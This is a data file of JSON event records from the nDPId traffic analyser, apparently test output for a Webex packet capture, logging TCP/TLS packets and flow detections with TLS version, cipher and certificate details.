+00406{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":564894,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCqhAAEAGfHQKCAABQERpZ6GGAbuTEbZIbO5K+FAQOQgelgAA"} +00585{"flow_id":4,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":106,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":565912,"pkt_caplen":183,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":183,"pkt_l4_len":149,"pkt":"ABoRAAACABoRAAABCABFAACpAUFAABAGtVpARGlnCggAAQG7oYej1wrDXCj2IVAY\/\/9V4wAAFgMDAFECAABNAwNWGmYKzk9E9QTUrFeH5Hw2eqdwlTnoxi20+pBaUP1saiCiEgrZvpHjzJYNIqBz8GV5Z5nEiB2\/9li16SQKz1NTSAAEAAAF\/wEAAQAUAwMAAQEWAwMAIFcfE72a+QYqy4KnB7ssdgEQPAH15UqMjQbvXvYfEwJV"} +00796{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":106,"source":"webex.pcap","alias":"nDPId-test","flow_id":4,"flow_packet_id":6,"flow_first_seen":1444570628117,"flow_last_seen":1444570628565,"flow_tot_l4_data_len":496,"flow_min_l4_data_len":20,"flow_max_l4_data_len":247,"flow_avg_l4_data_len":82,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41351,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"radcom.webex.com","ja3":"f9010d8c34749bdf7659b52227e6f91b","ja3s":"c253ec3ad88e42f8da4032682892f9a0","unsafe_cipher":2,"cipher":"TLS_RSA_WITH_RC4_128_MD5"}} +00460{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":566905,"pkt_caplen":91,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":91,"pkt_l4_len":57,"pkt":"ABoRAAACABoRAAABCABFAABNAUJAABAGtbVARGlnCggAAQG7oYZs7kr4kxG2SFAY\/\/+PgAAAFgMDACAy73ppu2XOX3ICuy8hyAfMVby0BzvjSQkSvagk3Ak6Dg=="} +00406{"flow_id":4,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":108,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":567184,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoSv9AAEAGPB0KCAABQERpZ6GHAbtcKPYho9cLRFAQPLgawAAA"} +00406{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":567464,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoCqlAAEAGfHMKCAABQERpZ6GGAbuTEbZIbO5LHVAQOQgecQAA"} +00467{"flow_id":4,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":110,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":568018,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTSwBAAEAGO\/EKCAABQERpZ6GHAbtcKPYho9cLRFAYPLhETgAAFAMDAAEBFgMDACANe7e9z11ZOefijOq+b0yUCrnlOkCeUkjsqE+ONEnWiA=="} +00408{"flow_id":4,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":568372,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAUNAABAGtdlARGlnCggAAQG7oYej1wtEXCj2TFAQ\/\/9XTQAA"} +00467{"flow_id":3,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":618984,"pkt_caplen":97,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":97,"pkt_l4_len":63,"pkt":"ABoRAAACABoRAAABCABFAABTCqpAAEAGfEcKCAABQERpZ6GGAbuTEbZIbO5LHVAYOQhTdwAAFAMDAAEBFgMDACDsrVn+klk2PAbR1UMB7W8XzTSyzCFQLnlG0me9k09RdA=="} +00409{"flow_id":3,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570628,"pkt_ts_usec":619392,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAURAABAGtdhARGlnCggAAQG7oYZs7ksdkxG2c1AQ\/\/9XTgAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":167,"source":"webex.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1444570630272,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"185.63.147.10","src_port":54651,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00422{"flow_id":5,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":167,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570630,"pkt_ts_usec":272557,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0ymtAAEAGS1oKhc4vuT+TCtV7Abs2TX647AAfvYARAZp5QwAAAQEICgBMwJ1XHSbf"} +00409{"flow_id":5,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":168,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570630,"pkt_ts_usec":272755,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWBAABAGRHK5P5MKCoXOLwG71XvsAB+9Nk1+uVAQ\/\/\/y2gAA"} +00409{"flow_id":5,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":169,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570630,"pkt_ts_usec":272893,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWFAABAGRHG5P5MKCoXOLwG71XvsAB+9Nk1+uVAR\/\/\/y2QAA"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":175,"source":"webex.pcap","alias":"nDPId-test","flow_id":6,"flow_packet_id":1,"flow_first_seen":1444570631058,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"10.133.206.47","dst_ip":"107.20.242.44","src_port":59447,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00421{"flow_id":6,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":175,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":58632,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABoRAAACABoRAAABCABFAAA0G+BAAEAG6O4Khc4vaxTyLOg3Abv3v7ExKrw8QIARAiEILgAAAQEICgBMwOxXHSRB"} +00409{"flow_id":6,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":176,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":58850,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWRAABAGM3drFPIsCoXOLwG76DcqvDxA97+xMlAQ\/\/9\/\/QAA"} +00409{"flow_id":6,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":177,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":59010,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWVAABAGM3ZrFPIsCoXOLwG76DcqvDxA97+xMlAR\/\/9\/\/AAA"} +00468{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":178,"source":"webex.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_first_seen":1444570631722,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41354,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00434{"flow_id":7,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":178,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":722722,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABoRAAACABoRAAABCABFAAA87rhAAEAGmE8KCAABQERpZ6GKAbt6Ji+WAAAAAKACOQhMyAAAAgQFtAQCCAoATMEuAAAAAAEDAwY="} +00408{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":179,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":726320,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWZAABAGtbZARGlnCggAAQG7oYqF2dBpeiYvl1AS\/\/9Y2AAA"} +00406{"flow_id":7,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":180,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":726629,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7rlAAEAGmGIKCAABQERpZ6GKAbt6Ji+XhdnQalAQOQgf0QAA"} +00492{"flow_id":7,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":181,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":731449,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"ABoRAAACABoRAAABCABFAABn7rpAAEAGmCIKCAABQERpZ6GKAbt6Ji+XhdnQalAYOQgODwAAFgMBADoBAAA2AwHgmz2uanfCUjnykbM2Mv9FAODhfxJmAjR5YaebpjX1JgAABAA1AP8BAAAJACMAAAAPAAEB"} +00730{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":181,"source":"webex.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":4,"flow_first_seen":1444570631722,"flow_last_seen":1444570631731,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":20,"flow_max_l4_data_len":83,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41354,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00408{"flow_id":7,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":182,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570631,"pkt_ts_usec":731733,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAoAWdAABAGtbVARGlnCggAAQG7oYqF2dBqeiYv1lAQ\/\/9YmgAA"} +02247{"flow_id":7,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":183,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":200990,"pkt_caplen":1414,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1414,"pkt_l4_len":1380,"pkt":"ABoRAAACABoRAAABCABFAAV4AWhAABAGsGRARGlnCggAAQG7oYqF2dBqeiYv1lAY\/\/+6OgAAFgMBD14CAABNAwFWGmYNJvrCeyqJ+yGixMjFkysXvSP42V4YBYxn0xf6yiDu5C+q5u2enqRZq+rKCDeYalzIW6XI487FIwumfVZTSAA1AAAF\/wEAAQALAA8FAA8CAATpMIIE5TCCA82gAwIBAgIQKXSJqdQeSb5h94FpRuYh8zANBgkqhkiG9w0BAQsFADB+MQswCQYDVQQGEwJVUzEdMBsGA1UEChMUU3ltYW50ZWMgQ29ycG9yYXRpb24xHzAdBgNVBAsTFlN5bWFudGVjIFRydXN0IE5ldHdvcmsxLzAtBgNVBAMTJlN5bWFudGVjIENsYXNzIDMgU2VjdXJlIFNlcnZlciBDQSAtIEc0MB4XDTE1MDQxMDAwMDAwMFoXDTE4MDQxMDIzNTk1OVowdzELMAkGA1UEBhMCdXMxEzARBgNVBAgMCkNhbGlmb3JuaWExETAPBgNVBAcMCFNhbiBKb3NlMRwwGgYDVQQKDBNDaXNjbyBTeXN0ZW1zLCBJbmMuMQwwCgYDVQQLDANDU0cxFDASBgNVBAMMCyoud2ViZXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnXjIYUvDCGFnLF6CX7BhvJlmnmrg0KiZFcDP6TyJs2s+n7Hjqpb8O374x26knzLrTkrkpNBVvbi6eY8X6lmrWlqvlgEoyMmslNbZoAjUy1C9HNIMI2F1bLGI\/pKRUGbpk5wvAv6SKOf+cKi3mis7U2sccUb8cFxKTVpp62iK2uOzkFa4zF1i4hm\/NKjJWJVuj\/D8tQpd0PSuU5wWY7G1x\/5UpvvDV7KS7Tsmn3ib\/8gstBL+PLvKZHJ8YWc8u02oGZQoWD64APslwdmLLyDqq5USERl2bc761RHbBhnmKf3IpyvGqgfCFbQ7hfb+sniY0O+KQiBpaJI1bt4iiHQ1YQIDAQABo4IBZDCCAWAwFgYDVR0RBA8wDYILKi53ZWJleC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMGUGA1UdIAReMFwwWgYKYIZIAYb4RQEHNjBMMCMGCCsGAQUFBwIBFhdodHRwczovL2Quc3ltY2IuY29tL2NwczAlBggrBgEFBQcCAjAZGhdodHRwczovL2Quc3ltY2IuY29tL3JwYTAfBgNVHSMEGDAWgBRfYM9hkFXfhEMUimAqsvV69EMY7zArBgNVHR8EJDAiMCCgHqAchhpodHRwOi8vc3Muc3ltY2IuY29tL3NzLmNybDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9zcy5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9zcy5zeW1jYi5jb20vc3MuY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAU0XVgHR8KQTLFFzVVA7s1Rlqj4+dm5q+OB5OfJMqYeX\/hnGHVeD8z9\/9EdKsauBRbbFpJk38PC3aGoy0iL9v8CA4V6o0qYzEfedbF\/p\/UuvtChO8CktAaqN64hPdToCJEy3gqyB\/Hv7VVuKXUBogujzn1WBdIyBUlO\/hClSnOD8Qq1So\/AzCrw+\/ChOOV7DI631hsLE1M73UmQqxi7Cbu5R5TsXH6v6s\/7CAPBhVtuxTBBcBuPtA6Pd2Q8vOf6ByuErVmWAV\/tOLfjGuqPuM2JoxzR1iH82zcoIcxOzmtUIYsiTuUSCi\/AsNsm265BOW9oeh5kgZU+pE6LkGX9bECAAU8MIIFOA=="} +00407{"flow_id":7,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":184,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":251291,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7rtAAEAGmGAKCAABQERpZ6GKAbt6Ji\/WhdnVulAQP8ATigAA"} +03883{"flow_id":7,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":185,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":251919,"pkt_caplen":2633,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":2633,"pkt_l4_len":2599,"pkt":"ABoRAAACABoRAAABCABFAAo7AWlAABAGq6BARGlnCggAAQG7oYqF2dW6eiYv1lAY\/\/\/KqQAAMIIEIKADAgECAhBRP7l0OHC3NEBBjTCTBpn\/MA0GCSqGSIb3DQEBCwUAMIHKMQswCQYDVQQGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM0MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zAfBgNVHSMEGDAWgBR\/02Wnwt3su\/AwCfNDOfoCrzMxMzANBgkqhkiG9w0BAQsFAAOCAQEAXpRWSd2OLWX1wTZRtgPj2p5zGfIfWatYfmwmBSz6gddcIxciLDeT94bsheawo\/0f4jKoRW\/h2fu5r9JwoDJCZb+E\/hYqjz\/Fptajk31D6XQhkTUo9GPpLu339Vx\/S5q1IOkKveBFEAwUlJpdpeNLkegkm0ZAZfQics2Z+IgR9fN\/5jOC5qjFfv7QCOIlWAhxaObNouYU3k5SJC395XkTU+deLy1NG21AFVIr94eJeBKBbtlNqi141MIsPQhfh5GeHw6w3jBSZIaJqp1mnA52DIDydNgq+Lg6ztfWDxG+a6sU9b1BoCJjifG6D28pY2YtP6yMcsX7x+TUD\/I7T4wpxwAE1DCCBNAwggQ5oAMCAQICECUM6OAwYS6fK4n3BU18+P0wDQYJKoZIhvcNAQEFBQAwXzELMAkGA1UEBhMCVVMxFzAVBgNVBAoTDlZlcmlTaWduLCBJbmMuMTcwNQYDVQQLEy5DbGFzcyAzIFB1YmxpYyBQcmltYXJ5IENlcnRpZmljYXRpb24gQXV0aG9yaXR5MB4XDTA2MTEwODAwMDAwMFoXDTIxMTEwNzIzNTk1OVowgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDIwMDYgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEc1MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAryQICCl6NZ5gDKrnSztO3Hy8PEUcuyvg\/ikC+VcIo2SFFSf18a3IMYldIugqqqZCs4\/4uVW3sbdLs\/6PfgdX7O9D22ZiFWHPYA2k2N744MNiCD1UE+tJyllUhSblK48bn+v1oZHCM0nYQ2NqUkvSj+hwUU3RiWl7x3D2s9wSdNt7XUtW05a\/FXehsPSiJfKvHJJnGOX0BgTvkLnkAOTdOrUZ\/wK69Dzu4IvrN4vs9Nes8vbwPa\/ddZEzGR0cQMt0JBkhk9kU\/qwqUseP1QRJ5I1jR4g8aYPL\/ke9K35PxZWuDp3U0UPAZ3PjFAh+5T+fc7gzCs9dPzSHloruU+glFQIDAQABo4IBmzCCAZcwDwYDVR0TAQH\/BAUwAwEB\/zAxBgNVHR8EKjAoMCagJKAihiBodHRwOi8vY3JsLnZlcmlzaWduLmNvbS9wY2EzLmNybDAOBgNVHQ8BAf8EBAMCAQYwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LnZlcmlzaWduLmNvbS9jcHMwHQYDVR0OBBYEFH\/TZafC3ey78DAJ80M5+gKvMzEzMG0GCCsGAQUFBwEMBGEwX6FdoFswWTBXMFUWCWltYWdlL2dpZjAhMB8wBwYFKw4DAhoEFI\/l0xqGrI2Oa8PPgGrUSBgsexkuMCUWI2h0dHA6Ly9sb2dvLnZlcmlzaWduLmNvbS92c2xvZ28uZ2lmMDQGCCsGAQUFBwEBBCgwJjAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AudmVyaXNpZ24uY29tMD4GA1UdJQQ3MDUGCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwMGCWCGSAGG+EIEAQYKYIZIAYb4RQEIATANBgkqhkiG9w0BAQUFAAOBgQATAt346IYA8lr4+CAMWYhiB87O9075u1mhmOXhON1OvGYY063rGPINyW0+SpQgwzy6vWVUxq9EsxCtLGs+q9cHtriBY8X5Xi7lKmfOzTMMKteJVgMjH7O+6DoIWbTsRTX3ilv\/Zs9Qr8ZtV40ZeLe5otFX6h+aS6+6yY4Sfsa9\/w4AAAA="} +01110{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":185,"source":"webex.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":8,"flow_first_seen":1444570631722,"flow_last_seen":1444570632251,"flow_tot_l4_data_len":4182,"flow_min_l4_data_len":20,"flow_max_l4_data_len":2599,"flow_avg_l4_data_len":522,"midstream":0,"l3_proto":"ip4","src_ip":"10.8.0.1","dst_ip":"64.68.105.103","src_port":41354,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Webex","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1","client_requested_server_name":"","server_names":"*.webex.com","ja3":"7cb93b2404a98399e9f84c74fef1fb8f","ja3s":"91589ea825a2ee41810c85fab06d2ef6","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=us, ST=California, L=San Jose, O=Cisco Systems, Inc., OU=CSG, CN=*.webex.com","fingerprint":"61:C9:DE:EE:FA:AE:DC:17:A0:36:B9:68:F9:17:F6:5A:90:7B:14:E1"}} +00407{"flow_id":7,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":186,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":302950,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"ABoRAAACABoRAAABCABFAAAo7rxAAEAGmF8KCAABQERpZ6GKAbt6Ji\/WhdnfzVAQUJj4ngAA"} +00857{"flow_id":7,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":187,"source":"webex.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1444570632,"pkt_ts_usec":303117,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"ABoRAAACABoRAAABCABFAAFu7r1AAEAGlxgKCAABQERpZ6GKAbt6Ji\/WhdnfzVAYUJjVPwAAFgMBAQYQAAECAQBzrrtuF9+KR1wUqM\/\/NKdN8XLh8LQAufDmYdAQr2kRZIkBiYk\/hpbt+Iw+GTsKw0MtqYlnE6k0JY9H5kPH6+3OvBZdfDr2Wzdb\/rVXoop9XeS3qxcoMcCtEPmKSw1YTu4ogI6viS3URet+1rFfs1NFOGBBeILYBuPxbyD0gsT6KS\/UiR0jsVBU2CV4D6dE771y9w173iAG+kgV+8uCpersHqxTFvH7nQS0EVVu6lAmO9h2KB+zo7A2OHw+3G5t5Bzfsbiv4mjcPd\/6\/jR7clclPVs0yNFWcHNf2oGZqRyddUHOhRIOGuMrPkMyBuqiDtCyTpZqh9l+796Gg1qXVIeKFAMBAAEBFgMBADBnxM9xD\/Xbyw5+1ZQ\/sLmg5Xk56Qv2zLjGfmg8K7fxP6VW2XGTw5fhz9YGWv\/TttY="} 